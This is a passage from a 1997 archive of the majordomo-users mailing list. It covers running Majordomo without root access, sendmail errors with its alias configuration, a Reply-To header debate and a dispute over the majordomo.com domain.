"post to whoever this message is TO" command? I may be wrong. It should have such, call it Comment or Followup or somesuch, but it should exist. Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Sun Jun 1 19:00:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA08592 for majordomo-users-outgoing; Sun, 1 Jun 1997 18:59:04 -0700 (PDT) Received: from jupiter.request.net ([209.27.13.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA08585 for ; Sun, 1 Jun 1997 18:59:00 -0700 (PDT) Received: from marston ([204.189.177.39]) by jupiter.request.net with SMTP id <17313-1857>; Sun, 1 Jun 1997 22:02:00 -0400 Message-Id: <3.0.32.19970601210158.007f7100@fatdays.com> X-Sender: webguy@fatdays.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 01 Jun 1997 21:02:06 -0500 To: majordomo-users@GreatCircle.COM From: "Brian H. Marston" Subject: Question: Running Majordomo on Virtual Domain Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Is it possible to run Majordomo (version 1.94.3) on a virtual domain without root access? I don't have write permissions on /etc/aliases. Is it possible to use the .aliases file in my home directory to accomplish the same thing? The .aliases file appears to be of a different format than the /etc/aliases file. For one thing, it's tab-delimited rather than colon-delimited, and as far as I can tell, it doesn't accept the "include" directive. Thanks, Brian H. Marston http://www.fatdays.com/ From owner-majordomo-users-outgoing Sun Jun 1 19:15:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA09477 for majordomo-users-outgoing; Sun, 1 Jun 1997 19:09:14 -0700 (PDT) Received: from fugue.chatham.org (fugue.chatham.org [206.160.163.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id TAA09460 for ; Sun, 1 Jun 1997 19:09:06 -0700 (PDT) Received: from fugue.chatham.org (localhost [127.0.0.1]) by fugue.chatham.org (8.8.5/8.8.5) with SMTP id VAA24515; Sun, 1 Jun 1997 21:12:05 -0500 Message-ID: <33922BF5.1C4FF420@chatham.org> Date: Sun, 01 Jun 1997 21:12:05 -0500 From: "Dale J. Chatham" X-Mailer: Mozilla 3.01Gold (X11; I; Linux 2.0.23 i586) MIME-Version: 1.0 To: "Brian H. Marston" CC: majordomo-users@GreatCircle.COM Subject: Re: Question: Running Majordomo on Virtual Domain References: <3.0.32.19970601210158.007f7100@fatdays.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Brian H. Marston wrote: > > Is it possible to run Majordomo (version 1.94.3) on a virtual domain > without root access? I don't have write permissions on /etc/aliases. Is > it possible to use the .aliases file in my home directory to accomplish the > same thing? The .aliases file appears to be of a different format than the > /etc/aliases file. For one thing, it's tab-delimited rather than > colon-delimited, and as far as I can tell, it doesn't accept the "include" > directive. The only thing you can do is to get root to add the aliases or to add a line in sendmail.cf with the OA macro to point to an alias file in your directory. It's a *major* security problem and I wouldn't give it to anyone on any of my machines. Dale -- _ (__________) ``Necessity is the plea for every infringement _.| |_ /( oo of human freedom. It is the argument of tyrants; \. } /\_| it is the creed of slaves.'' \_( William Pitt, Earl of Chatham speech in the House of Lords, November 18, 1783 Dale J. Chatham, WA5WNI dale@chatham.org Member PETA (People Eating Tasty Animals) http://www.chatham.org From owner-majordomo-users-outgoing Sun Jun 1 19:45:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA11553 for majordomo-users-outgoing; Sun, 1 Jun 1997 19:31:15 -0700 (PDT) Received: from toons.undergrid.com (undergrid.cei.net [204.180.109.36]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id TAA11514 for ; Sun, 1 Jun 1997 19:31:03 -0700 (PDT) Received: from localhost (undrgrid@localhost) by toons.undergrid.com (8.8.5/8.8.5) with SMTP id VAA29220 for ; Sun, 1 Jun 1997 21:37:00 -0500 Date: Sun, 1 Jun 1997 21:36:59 -0500 (CDT) From: "Jeremy T. Bouse" To: majordomo-users@GreatCircle.COM Subject: Re: Question: Running Majordomo on Virtual Domain In-Reply-To: <33922BF5.1C4FF420@chatham.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- On Sun, 1 Jun 1997, Dale J. Chatham wrote: > Brian H. Marston wrote: > > > > Is it possible to run Majordomo (version 1.94.3) on a virtual domain > > without root access? I don't have write permissions on /etc/aliases. Is > > it possible to use the .aliases file in my home directory to accomplish the > > same thing? The .aliases file appears to be of a different format than the > > /etc/aliases file. For one thing, it's tab-delimited rather than > > colon-delimited, and as far as I can tell, it doesn't accept the "include" > > directive. > > The only thing you can do is to get root to add the aliases or to add > a line in sendmail.cf with the OA macro to point to an alias file in > your > directory. It's a *major* security problem and I wouldn't give it to > anyone on any of my machines. > > Dale > Yes... if you could get the system administrator to allow you to have an alternative aliases file that would be the only way I could see getting around that... I have about 4 or 5 aliases files in my /etc/ directory... one for each domain I maintain, one for majordomo and then the system aliases... If your system administrator would create a seperate aliases file entry and place it under your UID/GID it would work... I'm sure he would watch it like a hawk if he did allow it... Jeremy Bouse Jeremy T. Bouse - The UnderGrid IRC Network - www.UnderGrid.com PGP Fingerprint: 0F B9 7D 61 1B 7B A8 40 CE BD 02 91 61 59 BB 2C Thought to ponder : All a hacker needs is a tight PUSHJ, a loose pair of UUOs, and a warm place to shift. ICQ UIN #303078 NIC Whois: JB5713 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM5IxzJEvxvP2RwlhAQFZcQP+MdWeMZchCB+4LXLe/ZtqK7FYyK6gnHWw s52Wr1EBkYyrciM68AarA2gjnx6ItoroH+cVPsLLePSXm7ePrBLZ2XGsWaZsUtkv HMEBJQwChSbVPpmd5wJwmi8kgs5jV2slG9A6zDRMM9E8wr9+GdiOTMtLz53FZUk4 07nkvua0Qy4= =gpK3 -----END PGP SIGNATURE----- From owner-majordomo-users-outgoing Sun Jun 1 21:30:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA15862 for majordomo-users-outgoing; Sun, 1 Jun 1997 21:15:45 -0700 (PDT) Received: from jupiter.request.net ([209.27.13.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA15853 for ; Sun, 1 Jun 1997 21:15:39 -0700 (PDT) Received: from marston ([204.189.177.49]) by jupiter.request.net with SMTP id <17380-1856>; Mon, 2 Jun 1997 00:18:54 -0400 Message-Id: <3.0.32.19970601231815.007bda70@fatdays.com> X-Sender: webguy@fatdays.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 01 Jun 1997 23:19:00 -0500 To: majordomo-users@GreatCircle.COM From: "Brian H. Marston" Subject: Re: Question: Running Majordomo on Virtual Domain Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk My Question: ------------ >> Is it possible to run Majordomo (version 1.94.3) on a virtual domain >> without root access? I don't have write permissions on /etc/aliases. Is >> it possible to use the .aliases file in my home directory to accomplish the >> same thing? The .aliases file appears to be of a different format than the >> /etc/aliases file. For one thing, it's tab-delimited rather than >> colon-delimited, and as far as I can tell, it doesn't accept the "include" >> directive. The Answer (Thanks, Dale): -------------------------- >The only thing you can do is to get root to add the aliases or to add >a line in sendmail.cf with the OA macro to point to an alias file in >your directory. It's a *major* security problem and I wouldn't give it to >anyone on any of my machines. My Next Question: ----------------- The chances are slim to none that the sys admin for my Web hosting service will even answer my e-mail, let alone risk security and mess with /etc/aliases or sendmail.cf (my experience with prowebsite.com can be summed up as incredibly low prices, incredibly poor service). Does anyone know of any software I could get that would allow me to run a mailing list without root access? I don't need any fancy features, but I would like people to be able to subscribe, unsubscribe, and post without any intervention on my part. Thanks, Brian H. Marston http://www.fatdays.com/ _____________________ ______| Brian Marston |______ \ | webguy@fatdays.com | / \ | HTML and CGI Artist | / / |_____________________| \ /_______) (_______\ From owner-majordomo-users-outgoing Mon Jun 2 02:45:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA05015 for majordomo-users-outgoing; Mon, 2 Jun 1997 02:38:11 -0700 (PDT) Received: from out2.ibm.net (out2.ibm.net [165.87.194.229]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id CAA05000 for ; Mon, 2 Jun 1997 02:38:04 -0700 (PDT) Received: from brozen.ibm.net (slip139-92-88-244.tel.il.ibm.net [139.92.88.244]) by out2.ibm.net (8.8.5/8.6.9) with SMTP id JAA25514; Mon, 2 Jun 1997 09:47:31 GMT Message-ID: <3392899A.6FCF@webdreams.com> Date: Mon, 02 Jun 1997 11:51:38 +0300 From: Brock Rozen Reply-To: brozen@webdreams.com Organization: Project Genesis/WebDreams X-Mailer: Mozilla 3.01Gold (Win95; U) MIME-Version: 1.0 To: Christopher Knight CC: majordomo-users@greatcircle.com Subject: Re: majordomo.com References: <3.0.32.19970601161204.00dc62a8@mail.sparknet.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Christopher Knight wrote: I think everything but the below is meaningless. I could care less, really! It is up to GreatCircle if they want to proceed on the legal avenue. If not, then no. If yes, then yes. > 4. An opportunist, and entrapeneur, Yes...I guess I am. But did you also > recall that I have opened my arms to the Majordomo community to use the > domain/website to extend the Majordomo efforts, upon Brent's request. Do > you understand what I am saying, Kent? I am saying I want to SHARE the > opportunity, so lets lose the badgering, and get down to HOW this > opportunity can benefit more folks!...:- I see this as a great opportunity! Now, Christopher, if you're serious, do the following: 1) Join the majordomo-workers mailing list at greatcircle.com 2) Get Jason's latest snapshot of 2.0 3) Participate on the mj-workers list 4) Since you seem to have programmers working long and hard on majordomo, why not improve the LATEST version so that we all have the benefits? Work together with Jason on this. I know he's asked for help and with the help you can offer -- I think majordomo can get VERY far in a short period of time. The above four will make an enourmous difference. I look forward to seeing this work out. Thanks, -- --------------- | Brock Rozen | --------------- From owner-majordomo-users-outgoing Mon Jun 2 03:45:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id DAA12528 for majordomo-users-outgoing; Mon, 2 Jun 1997 03:32:26 -0700 (PDT) Received: from tikipub.com (tikipub.com [192.41.7.67]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id DAA12521 for ; Mon, 2 Jun 1997 03:32:20 -0700 (PDT) Received: from 2.max1.ps.ca.pool.eni.net by tikipub.com; Mon, 2 Jun 1997 04:35:41 -0600 (MDT) Received: by 2.max1.ps.ca.pool.eni.net with Microsoft Mail id <01BC6F06.F29D1900@2.max1.ps.ca.pool.eni.net>; Mon, 2 Jun 1997 03:42:09 -0700 Message-ID: <01BC6F06.F29D1900@2.max1.ps.ca.pool.eni.net> From: Bruce Rhodewalt To: "'majordomo-users@GreatCircle.COM'" Subject: RE: Question: Running Majordomo on Virtual Domain Date: Mon, 2 Jun 1997 03:42:07 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Brian, We use BHCom (http://www.bluehill.com) for virtual servers and have = access to our own aliases and sendmail.cf. (However, I've never touched = sendmail.cf in order to work with Majordomo.) Their small servers are = reasonable ($60/mo for 25MB, unlimited traffic), and they have a 1.94 = installation kit already tested and tweaked for their environment. If all you're looking for is Majordomo lists to own, we can give you = those. See http://www.tikipub.com/tikilists.html. Bruce Rhodewalt kahuna@tikipub.com -----Original Message----- From: Brian H. Marston [SMTP:webguy@fatdays.com] Sent: Sunday, June 01, 1997 9:19 PM To: majordomo-users@GreatCircle.COM Subject: Re: Question: Running Majordomo on Virtual Domain My Question: ------------ >> Is it possible to run Majordomo (version 1.94.3) on a virtual domain >> without root access? I don't have write permissions on /etc/aliases. = Is >> it possible to use the .aliases file in my home directory to = accomplish the >> same thing? The .aliases file appears to be of a different format = than the >> /etc/aliases file. For one thing, it's tab-delimited rather than >> colon-delimited, and as far as I can tell, it doesn't accept the = "include" >> directive. The Answer (Thanks, Dale): -------------------------- >The only thing you can do is to get root to add the aliases or to add >a line in sendmail.cf with the OA macro to point to an alias file in >your directory. It's a *major* security problem and I wouldn't give it = to=20 >anyone on any of my machines. My Next Question: ----------------- The chances are slim to none that the sys admin for my Web hosting = service will even answer my e-mail, let alone risk security and mess with /etc/aliases or sendmail.cf (my experience with prowebsite.com can be summed up as incredibly low prices, incredibly poor service). Does = anyone know of any software I could get that would allow me to run a mailing = list without root access? I don't need any fancy features, but I would like people to be able to subscribe, unsubscribe, and post without any intervention on my part. Thanks, Brian H. Marston http://www.fatdays.com/ _____________________ ______| Brian Marston |______ \ | webguy@fatdays.com | / \ | HTML and CGI Artist | / / |_____________________| \ /_______) (_______\ From owner-majordomo-users-outgoing Mon Jun 2 06:30:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA27374 for majordomo-users-outgoing; Mon, 2 Jun 1997 06:17:46 -0700 (PDT) Received: from tor.abc.se (tor.abc.se [192.36.170.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA27365 for ; Mon, 2 Jun 1997 06:17:36 -0700 (PDT) Received: from pm2-15.abc.se (pm2-15 [192.36.170.64]) by tor.abc.se (8.8.5/8.8.5) with SMTP id PAA05456; Mon, 2 Jun 1997 15:20:50 +0200 (MET DST) Message-Id: <199706021320.PAA05456@tor.abc.se> From: "Mats Dufberg" To: "Leslie Mikesell" Cc: "Majordomo Users" Date: Mon, 02 Jun 97 00:56:38 +0200 Reply-To: "Mats Dufberg" X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: Reply To Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sun, 1 Jun 1997 15:53:51 -0500 (CDT), Leslie Mikesell wrote: >And to reverse your argument, if majordomo (as an agent of the list >manager) isn't the reason I have this message, what is it? You >wouldn't have sent something to me were it not for the list so why >shouldn't my reply be guided back the same way? However, this is >silly semantics - the real issue is where a 'normal' reply should >go and I believe this depends on the nature of the list and the >intent of it's manager. No, it is not that simple. The REPLY-TO header is there to let the composer decide where replies to message should go. She may want replies to go to a different address than the one in the FROM header. If the list manager manipulates the message by replacing the REPLY-TO, or adding another REPLY-TO, you have removed the possibility of replying to the sender at the address she wishes you to reply to. IMHO, there are two solutions: 1. do nothing with REPLY-TO, or 2. enclose the message in a new message in such a way that the FROM, REPLY-TO, DATE and SUBJECT headers of the original message also are enclose, but the new message has the list as FROM header. Mats Dufberg mats.dufberg@abc.se From owner-majordomo-users-outgoing Mon Jun 2 07:16:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA29680 for majordomo-users-outgoing; Mon, 2 Jun 1997 07:13:45 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA29670 for ; Mon, 2 Jun 1997 07:13:39 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA23915 for ; Mon, 2 Jun 1997 10:16:57 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA18780; Mon, 2 Jun 1997 10:16:57 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Multiple Copies of Messages References: <9706020009.AA17648@quindim.nc-rj.rnp.br> X-No-Archive: yes Date: 02 Jun 1997 10:16:56 -0400 In-Reply-To: "C.Gustavo Werner"'s message of Sun, 1 Jun 97 21:09:50 EST Message-ID: Lines: 29 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "CGW" == C Gustavo Werner writes: CGW> First I wanna be sure that my multiple messages problem was caused by CGW> a bug on majordomo not by a sendmail misconfiguration... The only way Majordomo could be responsible for this is allowing a person to be subscribed multiple times -- it can happen under some unusual circumstances, but is not likely. Majordomo has absolutely *NOTHING* to do with delivery of messages; that is totally the realm of the MTA. So if you are having delivery problems that is where you should look. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5LV156VRH7BJMxHAQEFUAQAwa+0Z1JpzolTnT1HoxgKq3rMK3NvCeTv WcQKWZcqD59PIGnaEImkLp3oNkpkZRwUyNrH0TzjDV2V+mso0OqzxyRMPZzd3dWQ 8PqWA6dmylUQG8Y5juVE0SiG4JjIeDZNF6b9m/T6iz/uO3VqgLH1KA2EOsz/BLAA Y2P5TjkMfnk= =OenV -----END PGP SIGNATURE----- -- Rich Pieri | Do not taunt Happy Fun Ball. Prescient Technologies, Inc. | A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Mon Jun 2 07:30:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA29400 for majordomo-users-outgoing; Mon, 2 Jun 1997 07:07:54 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA29393 for ; Mon, 2 Jun 1997 07:07:48 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA23777 for ; Mon, 2 Jun 1997 10:11:12 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA18622; Mon, 2 Jun 1997 10:11:11 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Reply To References: <199706012053.PAA04358@Jupiter.Mcs.Net> X-No-Archive: yes Date: 02 Jun 1997 10:11:10 -0400 In-Reply-To: Leslie Mikesell's message of Sun, 1 Jun 1997 15:53:51 -0500 (CDT) Message-ID: Lines: 69 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "LM" == Leslie Mikesell writes: LM> In this case the message is clearly not the original author's LM> submission and the headers can/should be modified. If the moderator becomes the originator then his mailbox belongs in the - From header, and what was originally there should be moved to the Resent-From (I think) header. Regardless, *MAJORDOMO* is not the originator, it is the agent responsible for final submission of the message to the network. [...] LM> And to reverse your argument, if majordomo (as an agent of the list LM> manager) isn't the reason I have this message, what is it? Who Majordomo is accting for does not change the fact that it is acting for someone. It clearly is not the originator of any list traffic and therefore should not be doing anything with originator headers. LM> You wouldn't have sent something to me were it not for the list so why LM> shouldn't my reply be guided back the same way? However, this is silly LM> semantics - So RFC822 is nothing more than silly semantics? LM> the real issue is where a 'normal' reply should go and I believe this LM> depends on the nature of the list and the intent of it's manager. No, a 'normal' reply goes to wherever the composer of that reply wishes. Only he knows whether or not the message he is composing is relevant to the list, and only he is in a position to do anything about where that message is addressed. LM> If it takes a modification of the message body and message ID to LM> convince purists that a modification to the header is legal, so be it. LM> Consider it a digest form where the digest is composed on every single LM> message. A digest is a new message, and if you note carefully Majordomo puts one of its mailboxes in the originator header when it sends out a digest. LM> There are lists that work this way, and from an end user viewpoint I LM> prefer them at least for technical topics where you are unlikely to LM> send something personal to the list by mistake. The question is, how LM> do those lists avoid problems with mail loops caused by forwarding LM> through transports that only understand a single return address? Because the mailbox in question is the list owner's mailbox (alias), not the list itself. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5LUep6VRH7BJMxHAQF5vgP+L52Iw3qgN4hJwuu+QP6yvIx9AFWXYk/F SzTAlst6c928pQZX5J+Z6S0xKYZNuXFuGpeL8Cxdunw7QDc2XRyQN/Uvhun8cood gbjKLdXRvs52+uTiHJyhHYDfMOXsJND8lWFjCGbjGfEh5Po0cJ/QlIiTs2ZsIOlU cxibOU92RZw= =n1uV -----END PGP SIGNATURE----- -- Rich Pieri | Happy Fun Ball contains a liquid Prescient Technologies, Inc. | core, which, if exposed due to A Stone & Webster Company | rupture, should not be touched, I speak for myself, not PTI or SWEC | inhaled, or looked at. From owner-majordomo-users-outgoing Mon Jun 2 08:01:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA02985 for majordomo-users-outgoing; Mon, 2 Jun 1997 07:54:03 -0700 (PDT) Received: from relay3.smtp.psi.net (relay3.smtp.psi.net [38.8.210.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA02978 for ; Mon, 2 Jun 1997 07:53:52 -0700 (PDT) Received: from dasw.com by relay3.smtp.psi.net (8.8.3/SMI-5.4-PSI) id KAA14990; Mon, 2 Jun 1997 10:56:51 -0400 (EDT) Received: from fillmore.csystems by dasw.com (4.1/SMI-4.1) id AA06887; Mon, 2 Jun 97 11:25:43 EDT Received: by fillmore.csystems (SMI-8.6/SMI-SVR4) id KAA00801; Mon, 2 Jun 1997 10:52:32 -0400 Date: Mon, 2 Jun 1997 10:52:32 -0400 From: jbosco@dasw.com (John Bosco) Message-Id: <199706021452.KAA00801@fillmore.csystems> To: rayjones@praline.no.neosoft.com, dan.barrett@sparknet.net Subject: Re: BOUNCE world-list@s1.net: Admin request of type /^\s*who\s*$/i at line 1 Cc: majordomo-users@GreatCircle.COM X-Sun-Charset: US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I may be a little slow, but it just occured to me that Dan "I want all admin requests to be sent to the list" Barrett, who has to do this absurd thing at the request of his boss, who it seems to me is non other then Chris "majordomo.com" Knight, am I the last person to make this connection? If this is an example of some of the "enhancements" they have made, I would love to see the whole list :^) whois majordomo.com SparkNET Corporation (MAJORDOMO3-DOM) 1800 W. Mason St. Green Bay, WI 54303 Domain Name: MAJORDOMO.COM Administrative Contact: Knight, Christopher M (CMK13) chris@SPARKNET.NET (414) 983-9831 (FAX) (414) 983-9832 Technical Contact, Zone Contact: SparkNET Domains Registrar (SDR-ORG) domains@SPARKNET.NET 414-490-5901 Fax- 414-490-3399 Billing Contact: SparkNET Domains Registrar (SDR-ORG) domains@SPARKNET.NET 414-490-5901 Fax- 414-490-3399 Record last updated on 02-May-97. Record created on 20-Nov-96. Database last updated on 2-Jun-97 04:51:00 EDT. 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Domain servers in listed order: NS1.SPARKNET.NET 207.67.22.80 NS2.SPARKNET.NET 207.67.22.81 John From owner-majordomo-users-outgoing Mon Jun 2 08:18:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA03892 for majordomo-users-outgoing; Mon, 2 Jun 1997 08:05:50 -0700 (PDT) Received: from panix4.panix.com (panix4.panix.com [198.7.0.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA03867 for ; Mon, 2 Jun 1997 08:05:39 -0700 (PDT) Received: (from askanas@localhost) by panix4.panix.com (8.8.5/8.7/PanixU1.3) id LAA12355; Mon, 2 Jun 1997 11:08:31 -0400 (EDT) From: malgosia askanas Message-Id: <199706021508.LAA12355@panix4.panix.com> Subject: Please help with majordomo abort To: majordomo-users@greatcircle.com Date: Mon, 2 Jun 1997 11:08:26 -0400 (EDT) Cc: askanas@panix.com (malgosia askanas) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk A list I run is getting these aborts with each message posted to the list: MAJORDOMO ABORT (mj_resend)!! Mailer /usr/lib/sendmail -fowner-foucault@lists.village.virginia.edu foucault-outgoing exited unexpectedly with error 64 The messages do get distributed to the list, although I don't know if they reach all the subscribers. These messages started appearing after I upgraded from 1.92 to 1.94.3. Here are the aliases for the list: foucault: "|/usr/majordomo/wrapper resend -l foucault -h lists.village.virgini a.edu -r foucault -f foucault-approval -p bulk -s foucault-outgoing" foucault-outgoing: :include:/usr/majordomo/lists/foucault, foucault-archi ve, "|/usr/majordomo/wrapper digest -r -C -l foucault-digest foucault-digest-o utgoing" foucault-request: "|/usr/majordomo/wrapper request-answer foucault" foucault-approval: owner-foucault foucault-archive: "|/usr/majordomo/wrapper archive -f /home/ftp/pub/pubs/lis tservs/spoons/foucault.archive/foucault -m -a " owner-foucault: spoons Do you have any suggestions as to what might be causing these aborts, and what their consequences might be? This is with Sendmail 8.8.5. Thanks in advance, -malgosia From owner-majordomo-users-outgoing Mon Jun 2 09:30:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA08865 for majordomo-users-outgoing; Mon, 2 Jun 1997 09:00:24 -0700 (PDT) Received: from zaphod.axion.bt.co.uk (zaphod.axion.bt.co.uk [132.146.5.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA08800 for ; Mon, 2 Jun 1997 09:00:08 -0700 (PDT) Received: from zion.info.bt.co.uk by zaphod.axion.bt.co.uk with SMTP (PP); Mon, 2 Jun 1997 15:57:55 +0100 Received: from olympus.info.bt.co.uk by zion.info.bt.co.uk; Mon, 2 Jun 1997 16:00:45 +0100 Received: by olympus.info.bt.co.uk (SMI-8.6/SMI-SVR4) id QAA16074; Mon, 2 Jun 1997 16:00:10 +0100 Date: Mon, 2 Jun 1997 16:00:10 +0100 From: youngpk@info.bt.co.uk (Pete Young) Message-Id: <199706021500.QAA16074@olympus.info.bt.co.uk> To: majordomo-users@greatcircle.com Subject: Solaris sendmail writing to pipes Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-MD5: Y4G1Rl1NkoClqoWA3z5yCg== Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Dear all, Last time we looked at majordomo on Solaris 2.5 there were some problems with the Sun version of /usr/lib/sendmail writing to pipes. I forget the exact detail but it was sufficient to discourage majordomo from working reliably. The SunOS box we're using for majordomo is on it's last legs and I need to both upgrade from 1.93 and move onto an Ultra running Solaris 2.5.1. Can someone tell me whether this problem with sendmail has now been resolved, and if so which version of sendmail I should be running ? My apologies if the answer to this is well-known. I couln't find it in the FAQ. Kind regards Pete ____________________________________________________________________ Pete Young pete.young@bt-sys.bt.co.uk Phone +44 1473 605525 "Just another crouton, floating on the bouillabaisse of life" From owner-majordomo-users-outgoing Mon Jun 2 11:00:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA22008 for majordomo-users-outgoing; Mon, 2 Jun 1997 10:39:51 -0700 (PDT) Received: from mail.bcpl.lib.md.us (mail.bcpl.lib.md.us [204.255.212.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id KAA21989 for ; Mon, 2 Jun 1997 10:39:44 -0700 (PDT) Received: from localhost by mail.bcpl.lib.md.us (SMI-8.6/SMI-SVR4) id NAA06474; Mon, 2 Jun 1997 13:41:29 -0400 Date: Mon, 2 Jun 1997 13:41:29 -0400 (EDT) From: Chip Old To: Majordomo-Users List Subject: Re: Solaris sendmail writing to pipes In-Reply-To: <199706021500.QAA16074@olympus.info.bt.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk We're running Majordomo 1.94.1 without any problems under Solaris 2.5 and Sendmail 8.6/SMI on a SPARC 1000. Long before we began using Majordomo we applied SMI's patch 102980-07, which corrected a bunch of Sendmail problems, but I don't remember writing to pipes being among them. On Mon, 2 Jun 1997, Pete Young wrote: > Last time we looked at majordomo on Solaris 2.5 there were some problems > with the Sun version of /usr/lib/sendmail writing to pipes. I forget the > exact detail but it was sufficient to discourage majordomo from working > reliably. > > The SunOS box we're using for majordomo is on it's last legs and I need > to both upgrade from 1.93 and move onto an Ultra running Solaris 2.5.1. > > Can someone tell me whether this problem with sendmail has now been > resolved, and if so which version of sendmail I should be running ? ------------------------------------------------------------------- Chip Old (Francis E. Old) fold@mail.bcpl.lib.md.us Administrator, Internetworking Services Voice: 410-887-6180 Baltimore County Public Library FAX: 410-887-2091 320 York Road ICBM: 39.39910 North Towson, Maryland 21204 U.S.A. 76.60300 West From owner-majordomo-users-outgoing Mon Jun 2 11:15:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA26318 for majordomo-users-outgoing; Mon, 2 Jun 1997 11:02:46 -0700 (PDT) Received: from izzy4.izzy.net (izzy4.izzy.net [198.108.102.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA26259 for ; Mon, 2 Jun 1997 11:02:33 -0700 (PDT) Received: from izzy5.izzy.net (izzy5.izzy.net [198.108.102.9]) by izzy4.izzy.net (8.8.5/8.6.9) with ESMTP id OAA07126 for ; Mon, 2 Jun 1997 14:06:00 -0400 (EDT) Received: (from sewiv@localhost) by izzy5.izzy.net (8.8.5/8.6.9) id OAA23865; Mon, 2 Jun 1997 14:05:59 -0400 (EDT) Date: Mon, 2 Jun 1997 14:05:59 -0400 (EDT) From: "Sanford E. Walke IV" To: majordomo-users@greatcircle.com Subject: problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; 